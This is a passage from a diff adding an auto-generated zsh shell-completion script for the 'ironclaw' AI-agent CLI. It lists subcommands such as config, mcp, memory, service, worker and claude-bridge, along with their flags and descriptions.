interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +&& ret=0 +;; +(completion) +_arguments "${_arguments_options[@]}" : \ +'--shell=[The shell to generate completions for]:SHELL:(bash elvish fish powershell zsh)' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +&& ret=0 +;; +(worker) +_arguments "${_arguments_options[@]}" : \ +'--job-id=[Job ID to execute]:JOB_ID:_default' \ +'--orchestrator-url=[URL of the orchestrator'\''s internal API]:ORCHESTRATOR_URL:_default' \ +'--max-iterations=[Maximum iterations before stopping]:MAX_ITERATIONS:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(claude-bridge) +_arguments "${_arguments_options[@]}" : \ +'--job-id=[Job ID to execute]:JOB_ID:_default' \ +'--orchestrator-url=[URL of the orchestrator'\''s internal API]:ORCHESTRATOR_URL:_default' \ +'--max-turns=[Maximum agentic turns for Claude Code]:MAX_TURNS:_default' \ +'--model=[Claude model to use (e.g. "sonnet", "opus")]:MODEL:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-help-command-$line[1]:" + case $line[1] in + (run) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(onboard) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(config) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__help__config_commands" \ +"*::: :->config" \ +&& ret=0 + + case $state in + (config) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-help-config-command-$line[1]:" + case $line[1] in + (init) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(list) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(get) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(set) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(reset) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(path) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; +(tool) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__help__tool_commands" \ +"*::: :->tool" \ +&& ret=0 + + case $state in + (tool) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-help-tool-command-$line[1]:" + case $line[1] in + (install) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(list) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(remove) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(info) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(auth) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; +(registry) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__help__registry_commands" \ +"*::: :->registry" \ +&& ret=0 + + case $state in + (registry) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-help-registry-command-$line[1]:" + case $line[1] in + (list) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(info) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(install) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(install-defaults) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; +(mcp) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__help__mcp_commands" \ +"*::: :->mcp" \ +&& ret=0 + + case $state in + (mcp) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-help-mcp-command-$line[1]:" + case $line[1] in + (add) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(remove) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(list) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(auth) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(test) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(toggle) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; +(memory) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__help__memory_commands" \ +"*::: :->memory" \ +&& ret=0 + + case $state in + (memory) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-help-memory-command-$line[1]:" + case $line[1] in + (search) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(read) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(write) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(tree) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(status) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; +(pairing) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__help__pairing_commands" \ +"*::: :->pairing" \ +&& ret=0 + + case $state in + (pairing) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-help-pairing-command-$line[1]:" + case $line[1] in + (list) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(approve) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; +(service) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__help__service_commands" \ +"*::: :->service" \ +&& ret=0 + + case $state in + (service) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-help-service-command-$line[1]:" + case $line[1] in + (install) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(start) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(stop) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(status) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(uninstall) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; +(doctor) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(status) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(completion) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(worker) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(claude-bridge) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +} + +(( $+functions[_ironclaw_commands] )) || +_ironclaw_commands() { + local commands; commands=( +'run:Run the AI agent' \ +'onboard:Run interactive setup wizard' \ +'config:Manage app configs' \ +'tool:Manage WASM tools' \ +'registry:Browse/install extensions' \ +'mcp:Manage MCP servers' \ +'memory:Manage workspace memory' \ +'pairing:Manage DM pairing' \ +'service:Manage OS service' \ +'doctor:Run diagnostics' \ +'status:Show system status' \ +'completion:Generate completions' \ +'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \ +'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw commands' commands "$@" +} +(( $+functions[_ironclaw__claude-bridge_commands] )) || +_ironclaw__claude-bridge_commands() { + local commands; commands=() + _describe -t commands 'ironclaw claude-bridge commands' commands "$@" +} +(( $+functions[_ironclaw__completion_commands] )) || +_ironclaw__completion_commands() { + local commands; commands=() + _describe -t commands 'ironclaw completion commands' commands "$@" +} +(( $+functions[_ironclaw__config_commands] )) || +_ironclaw__config_commands() { + local commands; commands=( +'init:Generate a default config.toml file' \ +'list:List all settings and their current values' \ +'get:Get a specific setting value' \ +'set:Set a setting value' \ +'reset:Reset a setting to its default value' \ +'path:Show the settings storage info' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw config commands' commands "$@" +} +(( $+functions[_ironclaw__config__get_commands] )) || +_ironclaw__config__get_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config get commands' commands "$@" +} +(( $+functions[_ironclaw__config__help_commands] )) || +_ironclaw__config__help_commands() { + local commands; commands=( +'init:Generate a default config.toml file' \ +'list:List all settings and their current values' \ +'get:Get a specific setting value' \ +'set:Set a setting value' \ +'reset:Reset a setting to its default value' \ +'path:Show the settings storage info' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw config help commands' commands "$@" +} +(( $+functions[_ironclaw__config__help__get_commands] )) || +_ironclaw__config__help__get_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config help get commands' commands "$@" +} +(( $+functions[_ironclaw__config__help__help_commands] )) || +_ironclaw__config__help__help_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config help help commands' commands "$@" +} +(( $+functions[_ironclaw__config__help__init_commands] )) || +_ironclaw__config__help__init_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config help init commands' commands "$@" +} +(( $+functions[_ironclaw__config__help__list_commands] )) || +_ironclaw__config__help__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config help list commands' commands "$@" +} +(( $+functions[_ironclaw__config__help__path_commands] )) || +_ironclaw__config__help__path_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config help path commands' commands "$@" +} +(( $+functions[_ironclaw__config__help__reset_commands] )) || +_ironclaw__config__help__reset_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config help reset commands' commands "$@" +} +(( $+functions[_ironclaw__config__help__set_commands] )) || +_ironclaw__config__help__set_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config help set commands' commands "$@" +} +(( $+functions[_ironclaw__config__init_commands] )) || +_ironclaw__config__init_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config init commands' commands "$@" +} +(( $+functions[_ironclaw__config__list_commands] )) || +_ironclaw__config__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config list commands' commands "$@" +} +(( $+functions[_ironclaw__config__path_commands] )) || +_ironclaw__config__path_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config path commands' commands "$@" +} +(( $+functions[_ironclaw__config__reset_commands] )) || +_ironclaw__config__reset_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config reset commands' commands "$@" +} +(( $+functions[_ironclaw__config__set_commands] )) || +_ironclaw__config__set_commands() { + local commands; commands=() + _describe -t commands 'ironclaw config set commands' commands "$@" +} +(( $+functions[_ironclaw__doctor_commands] )) || +_ironclaw__doctor_commands() { + local commands; commands=() + _describe -t commands 'ironclaw doctor commands' commands "$@" +} +(( $+functions[_ironclaw__help_commands] )) || +_ironclaw__help_commands() { + local commands; commands=( +'run:Run the AI agent' \ +'onboard:Run interactive setup wizard' \ +'config:Manage app configs' \ +'tool:Manage WASM tools' \ +'registry:Browse/install extensions' \ +'mcp:Manage MCP servers' \ +'memory:Manage workspace memory' \ +'pairing:Manage DM pairing' \ +'service:Manage OS service' \ +'doctor:Run diagnostics' \ +'status:Show system status' \ +'completion:Generate completions' \ +'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \ +'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw help commands' commands "$@" +} +(( $+functions[_ironclaw__help__claude-bridge_commands] )) || +_ironclaw__help__claude-bridge_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help claude-bridge commands' commands "$@" +} +(( $+functions[_ironclaw__help__completion_commands] )) || +_ironclaw__help__completion_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help completion commands' commands "$@" +} +(( $+functions[_ironclaw__help__config_commands] )) || +_ironclaw__help__config_commands() { + local commands; commands=( +'init:Generate a default config.toml file' \ +'list:List all settings and their current values' \ +'get:Get a specific setting value' \ +'set:Set a setting value' \ +'reset:Reset a setting to its default value' \ +'path:Show the settings storage info' \ + ) + _describe -t commands 'ironclaw help config commands' commands "$@" +} +(( $+functions[_ironclaw__help__config__get_commands] )) || +_ironclaw__help__config__get_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help config get commands' commands "$@" +} +(( $+functions[_ironclaw__help__config__init_commands] )) || +_ironclaw__help__config__init_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help config init commands' commands "$@" +} +(( $+functions[_ironclaw__help__config__list_commands] )) || +_ironclaw__help__config__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help config list commands' commands "$@" +} +(( $+functions[_ironclaw__help__config__path_commands] )) || +_ironclaw__help__config__path_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help config path commands' commands "$@" +} +(( $+functions[_ironclaw__help__config__reset_commands] )) || +_ironclaw__help__config__reset_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help config reset commands' commands "$@" +} +(( $+functions[_ironclaw__help__config__set_commands] )) || +_ironclaw__help__config__set_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help config set commands' commands "$@" +} +(( $+functions[_ironclaw__help__doctor_commands] )) || +_ironclaw__help__doctor_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help doctor commands' commands "$@" +} +(( $+functions[_ironclaw__help__help_commands] )) || +_ironclaw__help__help_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help help commands' commands "$@" +} +(( $+functions[_ironclaw__help__mcp_commands] )) || +_ironclaw__help__mcp_commands() { + local commands; commands=( +'add:Add an MCP server' \ +'remove:Remove an MCP server' \ +'list:List configured MCP servers' \ +'auth:Authenticate with an MCP server (OAuth flow)' \ +'test:Test connection to an MCP server' \ +'toggle:Enable or disable an MCP server' \ + ) + _describe -t commands 'ironclaw help mcp commands' commands "$@" +} +(( $+functions[_ironclaw__help__mcp__add_commands] )) || +_ironclaw__help__mcp__add_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help mcp add commands' commands "$@" +} +(( $+functions[_ironclaw__help__mcp__auth_commands] )) || +_ironclaw__help__mcp__auth_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help mcp auth commands' commands "$@" +} +(( $+functions[_ironclaw__help__mcp__list_commands] )) || +_ironclaw__help__mcp__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help mcp list commands' commands "$@" +} +(( $+functions[_ironclaw__help__mcp__remove_commands] )) || +_ironclaw__help__mcp__remove_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help mcp remove commands' commands "$@" +} +(( $+functions[_ironclaw__help__mcp__test_commands] )) || +_ironclaw__help__mcp__test_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help mcp test commands' commands "$@" +} +(( $+functions[_ironclaw__help__mcp__toggle_commands] )) || +_ironclaw__help__mcp__toggle_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help mcp toggle commands' commands "$@" +} +(( $+functions[_ironclaw__help__memory_commands] )) || +_ironclaw__help__memory_commands() { + local commands; commands=( +'search:Search workspace memory (hybrid full-text + semantic)' \ +'read:Read a file from the workspace' \ +'write:Write content to a workspace file' \ +'tree:Show workspace directory tree' \ +'status:Show workspace status (document count, index health)' \ + ) + _describe -t commands 'ironclaw help memory commands' commands "$@" +} +(( $+functions[_ironclaw__help__memory__read_commands] )) || +_ironclaw__help__memory__read_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help memory read commands' commands "$@" +} +(( $+functions[_ironclaw__help__memory__search_commands] )) || +_ironclaw__help__memory__search_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help memory search commands' commands "$@" +} +(( $+functions[_ironclaw__help__memory__status_commands] )) || +_ironclaw__help__memory__status_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help memory status commands' commands "$@" +} +(( $+functions[_ironclaw__help__memory__tree_commands] )) || +_ironclaw__help__memory__tree_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help memory tree commands' commands "$@" +} +(( $+functions[_ironclaw__help__memory__write_commands] )) || +_ironclaw__help__memory__write_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help memory write commands' commands "$@" +} +(( $+functions[_ironclaw__help__onboard_commands] )) || +_ironclaw__help__onboard_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help onboard commands' commands "$@" +} +(( $+functions[_ironclaw__help__pairing_commands] )) || +_ironclaw__help__pairing_commands() { + local commands; commands=( +'list:List pending pairing requests' \ +'approve:Approve a pairing request by code' \ + ) + _describe -t commands 'ironclaw help pairing commands' commands "$@" +} +(( $+functions[_ironclaw__help__pairing__approve_commands] )) || +_ironclaw__help__pairing__approve_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help pairing approve commands' commands "$@" +} +(( $+functions[_ironclaw__help__pairing__list_commands] )) || +_ironclaw__help__pairing__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help pairing list commands' commands "$@" +} +(( $+functions[_ironclaw__help__registry_commands] )) || +_ironclaw__help__registry_commands() { + local commands; commands=( +'list:List available extensions in the registry' \ +'info:Show detailed information about an extension or bundle' \ +'install:Install an extension or bundle from the registry' \ +'install-defaults:Install the default bundle of recommended extensions' \ + ) + _describe -t commands 'ironclaw help registry commands' commands "$@" +} +(( $+functions[_ironclaw__help__registry__info_commands] )) || +_ironclaw__help__registry__info_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help registry info commands' commands "$@" +} +(( $+functions[_ironclaw__help__registry__install_commands] )) || +_ironclaw__help__registry__install_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help registry install commands' commands "$@" +} +(( $+functions[_ironclaw__help__registry__install-defaults_commands] )) || +_ironclaw__help__registry__install-defaults_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help registry install-defaults commands' commands "$@" +} +(( $+functions[_ironclaw__help__registry__list_commands] )) || +_ironclaw__help__registry__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help registry list commands' commands "$@" +} +(( $+functions[_ironclaw__help__run_commands] )) || +_ironclaw__help__run_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help run commands' commands "$@" +} +(( $+functions[_ironclaw__help__service_commands] )) || +_ironclaw__help__service_commands() { + local commands; commands=( +'install:Install the OS service (launchd on macOS, systemd on Linux)' \ +'start:Start the installed service' \ +'stop:Stop the running service' \ +'status:Show service status' \ +'uninstall:Uninstall the OS service and remove the unit file' \ + ) + _describe -t commands 'ironclaw help service commands' commands "$@" +} +(( $+functions[_ironclaw__help__service__install_commands] )) || +_ironclaw__help__service__install_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help service install commands' commands "$@" +} +(( $+functions[_ironclaw__help__service__start_commands] )) || +_ironclaw__help__service__start_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help service start commands' commands "$@" +} +(( $+functions[_ironclaw__help__service__status_commands] )) || +_ironclaw__help__service__status_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help service status commands' commands "$@" +} +(( $+functions[_ironclaw__help__service__stop_commands] )) || +_ironclaw__help__service__stop_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help service stop commands' commands "$@" +} +(( $+functions[_ironclaw__help__service__uninstall_commands] )) || +_ironclaw__help__service__uninstall_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help service uninstall commands' commands "$@" +} +(( $+functions[_ironclaw__help__status_commands] )) || +_ironclaw__help__status_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help status commands' commands "$@" +} +(( $+functions[_ironclaw__help__tool_commands] )) || +_ironclaw__help__tool_commands() { + local commands; commands=( +'install:Install a WASM tool from source directory or .wasm file' \ +'list:List installed tools' \ +'remove:Remove an installed tool' \ +'info:Show information about a tool' \ +'auth:Configure authentication for a tool' \ + ) + _describe -t commands 'ironclaw help tool commands' commands "$@" +} +(( $+functions[_ironclaw__help__tool__auth_commands] )) || +_ironclaw__help__tool__auth_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help tool auth commands' commands "$@" +} +(( $+functions[_ironclaw__help__tool__info_commands] )) || +_ironclaw__help__tool__info_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help tool info commands' commands "$@" +} +(( $+functions[_ironclaw__help__tool__install_commands] )) || +_ironclaw__help__tool__install_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help tool install commands' commands "$@" +} +(( $+functions[_ironclaw__help__tool__list_commands] )) || +_ironclaw__help__tool__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help tool list commands' commands "$@" +} +(( $+functions[_ironclaw__help__tool__remove_commands] )) || +_ironclaw__help__tool__remove_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help tool remove commands' commands "$@" +} +(( $+functions[_ironclaw__help__worker_commands] )) || +_ironclaw__help__worker_commands() { + local commands; commands=() + _describe -t commands 'ironclaw help worker commands' commands "$@" +} +(( $+functions[_ironclaw__mcp_commands] )) || +_ironclaw__mcp_commands() { + local commands; commands=( +'add:Add an MCP server' \ +'remove:Remove an MCP server' \ +'list:List configured MCP servers' \ +'auth:Authenticate with an MCP server (OAuth flow)' \ +'test:Test connection to an MCP server' \ +'toggle:Enable or disable an MCP server' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw mcp commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__add_commands] )) || +_ironclaw__mcp__add_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp add commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__auth_commands] )) || +_ironclaw__mcp__auth_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp auth commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__help_commands] )) || +_ironclaw__mcp__help_commands() { + local commands; commands=( +'add:Add an MCP server' \ +'remove:Remove an MCP server' \ +'list:List configured MCP servers' \ +'auth:Authenticate with an MCP server (OAuth flow)' \ +'test:Test connection to an MCP server' \ +'toggle:Enable or disable an MCP server' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw mcp help commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__help__add_commands] )) || +_ironclaw__mcp__help__add_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp help add commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__help__auth_commands] )) || +_ironclaw__mcp__help__auth_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp help auth commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__help__help_commands] )) || +_ironclaw__mcp__help__help_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp help help commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__help__list_commands] )) || +_ironclaw__mcp__help__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp help list commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__help__remove_commands] )) || +_ironclaw__mcp__help__remove_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp help remove commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__help__test_commands] )) || +_ironclaw__mcp__help__test_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp help test commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__help__toggle_commands] )) || +_ironclaw__mcp__help__toggle_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp help toggle commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__list_commands] )) || +_ironclaw__mcp__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp list commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__remove_commands] )) || +_ironclaw__mcp__remove_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp remove commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__test_commands] )) || +_ironclaw__mcp__test_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp test commands' commands "$@" +} +(( $+functions[_ironclaw__mcp__toggle_commands] )) || +_ironclaw__mcp__toggle_commands() { + local commands; commands=() + _describe -t commands 'ironclaw mcp toggle commands' commands "$@" +} +(( $+functions[_ironclaw__memory_commands] )) || +_ironclaw__memory_commands() { + local commands; commands=( +'search:Search workspace memory (hybrid full-text + semantic)' \ +'read:Read a file from the workspace' \ +'write:Write content to a workspace file' \ +'tree:Show workspace directory tree' \ +'status:Show workspace status (document count, index health)' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw memory commands' commands "$@" +} +(( $+functions[_ironclaw__memory__help_commands] )) || +_ironclaw__memory__help_commands() { + local commands; commands=( +'search:Search workspace memory (hybrid full-text + semantic)' \ +'read:Read a file from the workspace' \ +'write:Write content to a workspace file' \ +'tree:Show workspace directory tree' \ +'status:Show workspace status (document count, index health)' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw memory help commands' commands "$@" +} +(( $+functions[_ironclaw__memory__help__help_commands] )) || +_ironclaw__memory__help__help_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory help help commands' commands "$@" +} +(( $+functions[_ironclaw__memory__help__read_commands] )) || +_ironclaw__memory__help__read_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory help read commands' commands "$@" +} +(( $+functions[_ironclaw__memory__help__search_commands] )) || +_ironclaw__memory__help__search_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory help search commands' commands "$@" +} +(( $+functions[_ironclaw__memory__help__status_commands] )) || +_ironclaw__memory__help__status_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory help status commands' commands "$@" +} +(( $+functions[_ironclaw__memory__help__tree_commands] )) || +_ironclaw__memory__help__tree_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory help tree commands' commands "$@" +} +(( $+functions[_ironclaw__memory__help__write_commands] )) || +_ironclaw__memory__help__write_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory help write commands' commands "$@" +} +(( $+functions[_ironclaw__memory__read_commands] )) || +_ironclaw__memory__read_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory read commands' commands "$@" +} +(( $+functions[_ironclaw__memory__search_commands] )) || +_ironclaw__memory__search_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory search commands' commands "$@" +} +(( $+functions[_ironclaw__memory__status_commands] )) || +_ironclaw__memory__status_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory status commands' commands "$@" +} +(( $+functions[_ironclaw__memory__tree_commands] )) || +_ironclaw__memory__tree_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory tree commands' commands "$@" +} +(( $+functions[_ironclaw__memory__write_commands] )) || +_ironclaw__memory__write_commands() { + local commands; commands=() + _describe -t commands 'ironclaw memory write commands' commands "$@" +} +(( $+functions[_ironclaw__onboard_commands] )) || +_ironclaw__onboard_commands() { + local commands; commands=() + _describe -t commands 'ironclaw onboard commands' commands "$@" +} +(( $+functions[_ironclaw__pairing_commands] )) || +_ironclaw__pairing_commands() { + local commands; commands=( +'list:List pending pairing requests' \ +'approve:Approve a pairing request by code' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw pairing commands' commands "$@" +} +(( $+functions[_ironclaw__pairing__approve_commands] )) || +_ironclaw__pairing__approve_commands() { + local commands; commands=() + _describe -t commands 'ironclaw pairing approve commands' commands "$@" +} +(( $+functions[_ironclaw__pairing__help_commands] )) || +_ironclaw__pairing__help_commands() { + local commands; commands=( +'list:List pending pairing requests' \ +'approve:Approve a pairing request by code' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'ironclaw pairing help commands' commands "$@" +} +(( $+functions[_ironclaw__pairing__help__approve_commands] )) || +_ironclaw__pairing__help__approve_commands() { + local commands; commands=() + _describe -t commands 'ironclaw pairing help approve commands' commands "$@" +} +(( $+functions[_ironclaw__pairing__help__help_commands] )) || +_ironclaw__pairing__help__help_commands() { + local commands; commands=() + _describe -t commands 'ironclaw pairing help help commands' commands "$@" +} +(( $+functions[_ironclaw__pairing__help__list_commands] )) || +_ironclaw__pairing__help__list_commands() { + local commands; commands=() + _describe -t commands 'ironclaw pairing help list commands' commands "$@" +} +(( $+functions[_ironclaw__pairing__list_commands] )) || 